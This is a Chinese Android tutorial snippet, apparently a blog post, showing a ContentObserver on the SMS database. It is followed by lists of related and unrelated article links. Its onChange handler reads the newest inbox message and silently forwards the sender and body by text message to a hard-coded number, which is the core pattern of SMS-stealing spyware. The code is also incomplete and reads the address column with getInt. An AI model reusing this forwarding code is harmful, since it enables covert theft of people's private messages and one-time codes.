//短信Uri

Uri smsUri = Uri.parse("content://sms");

//使用ContentReslover注册·监听器

getContentResolver().registerContentObserver(smsUri, true,
new MySmsListener(mHandler, SmsObserverService.this));

//继承ContentObserver监听

class MySmsListener extends ContentObserver {。。。}

//当监听到变化时做出相应的处理

@Override
public void onChange(boolean selfChange) {
// TODO 自动生成的方法存根
super.onChange(selfChange);

Uri outSMSUri = Uri.parse("content://sms/inbox");
Cursor c = mContext.getContentResolver().query(outSMSUri, null,
null, null, "date desc");
if (c != null) {
Log.i("lzh_sms", "the number of send is" + c.getCount() + "\n");
StringBuilder sb = new StringBuilder();
// 循环遍历
while (c.moveToNext()) {
Log.v("lzh_sms", "c.moveToNext is exec");

// sb.append("发件人手机号码: "+c.getInt(c.getColumnIndex("address")))
// .append("信息内容: "+c.getInt(c.getColumnIndex("body")))
// .append("是否查看: "+c.getInt(c.getColumnIndex("read")))
// .append("发送时间: "+c.getInt(c.getColumnIndex("date")))
// .append("\n");
Log.i("lzh_sms", c.getString(c.getColumnIndex("body")));
sb.append(
"发件人手机号码: " + c.getInt(c.getColumnIndex("address")))
.append("信息内容: "
+ c.getString(c.getColumnIndex("body")))
.append("\n");
SmsManager sms = SmsManager.getDefault();

sms.sendTextMessage(PhoneNumber.PhoneNumbers, null,
sb.toString(), null, null);

Log.i("lzh_sms", sb.toString());
break;

}

c.close();

}

}

ContentObserver就是这么简单!

ContentObserver监听数据库·变化的更多相关文章

  1. Web重温系列(三):OracleDependency实现监听数据库变化

    有个小项目(后来由另一个小组以Java开发了),内容是监控一个Oracle数据库.如果其中一个表A有数据变动,则需要将相关内容重组后通过接口发送给B. 通常的解决办法是定时查询,时间间隔可以小一点,还 ...

  2. Android简易实战教程--第二十一话《内容观察者监听数据库变化》

    当数据库的数据发生改变,我们又想知道具体改变的情况时,就需要对数据库的变化情况做一个监控.这个任务,就由内容观察者来完成.下面这个案例,为短信数据库注册内容观察者,来监控短信的变化情况,当短信数据库发 ...

  3. linkedin databus介绍——监听数据库变化,有新数据到来时通知其他消费者app,新数据存在内存里,多份快照

    概要结构如下图. 图中显示:Search Index和Read Replicas等系统是Databus的消费者.当主OLTP数据库发生写操作时,连接其上的中继系统会将数据拉到中继中.签入在Search ...

  4. debezium监听数据库变化Date类型数据的还原

    debezium是一个开源的分布式CDC系统,支持对接各种数据源,将数据源中已持久化的数据变更捕获后写入消息队列. 当数据源是mysql时,debezium通过BINLOG实时捕获已提交事务数据. 在 ...

  5. mvc 缓存 sqlCacheDependency 监听数据变化

    mvc 缓存   对于MVC有Control缓存和Action缓存. 一.Control缓存 Control缓存即是把缓存应用到整个Control上,该Control下的所有Action都会被缓存起来 ...

  6. 内容观察者 ContentObserver 监听短信、通话记录数据库 挂断来电

    Activity public class MainActivity extends ListActivity {     private TextView tv_info;     private  ...

  7. SqlDependency C#代码监听数据库表的变化

    SqlDependency提供了这样一种能力:当被监测的数据库中的数据发生变化时,SqlDependency会自动触发OnChange事件来通知应用程序,从而达到让系统自动更新数据(或缓存)的目的. ...

  8. Angular.js中使用$watch监听模型变化

    $watch简单使用 $watch是一个scope函数,用于监听模型变化,当你的模型部分发生变化时它会通知你. $watch(watchExpression, listener, objectEqua ...

  9. $scope.$watch()——监听数据变化

    $scope.$watch(watchFn, watchAction, [deepWatch]):监听数据变化,三个参数 --watchFn:监听的对象,一个带有Angular 表达式或者函数的字符串 ...

随机推荐

  1. [转]jQuery: how to get which button was clicked upon form submission?

    本文转自:http://stackoverflow.com/questions/5721724/jquery-how-to-get-which-button-was-clicked-upon-form ...

  2. 使用IntelliJ IDEA 编译开源的机器学习源码--Oryx

    What is Oryx? 大名鼎鼎的Sean Owen (http://www.linkedin.com/in/srowen) 正在 Cloudera 作为 Director of Data Sci ...

  3. CSS样式----图文详解:css样式表和选择器

    主要内容 CSS概述 CSS和HTML结合的三种方式:行内样式表.内嵌样式表.外部样式表 CSS四种基本选择器:标签选择器.类选择器.ID选择器.通用选择器 CSS三种扩展选择器:组合选择器.后代选择 ...

  4. 手机开启HDR后拍照有什么不同?

    转自http://www.leiphone.com/news/201406/hdr-pic.html HDR这词大家可能并不陌生,但大部分人只是听过而已,在脑子并没有太多的概念,可能只是简单的认为HD ...

  5. memcache的安装和使用

    Memcache Memcached是一个高性能的分布式缓存系统.memcached自身不会实现分布式,分布式是由程序来实现的. Memcached一旦安装之后,自身进行管理!预申请一个很大的内存空间 ...

  6. 转: VMware 安装mac osx 10.11 安装步骤(一)(from伟东)

    http://blog.csdn.net/soachenshui/article/details/49251513

  7. 开启flask调试

    直接将app.debug = True时,程序出错并没有出现调试界面. 按照如下设置,flask+uwsgi情况下,python报错时会在浏览器中提示错误信息.方便调试. from werkzeug. ...

  8. UIButton(改变Title和image位置)

    UIButton *btn = [[UIButton alloc] init]; [btn setFrame:frame]; [btn setTitleColor:titleColor forStat ...

  9. django整合原有的mysql数据库

    虽然django适合从零开始构建一个项目,但有时候整合原有的数据库也在所难免,下面以django整合我的mysql作说明. mysql数据是我从京东上抓取的数据,数据表名为jd,演示如图 下面将jd整 ...

  10. warning: #870-D: invalid multibyte character sequence

    warning: #870-D: invalid multibyte character sequence2011-03-12 9:18warning: #870-D: invalid multiby ...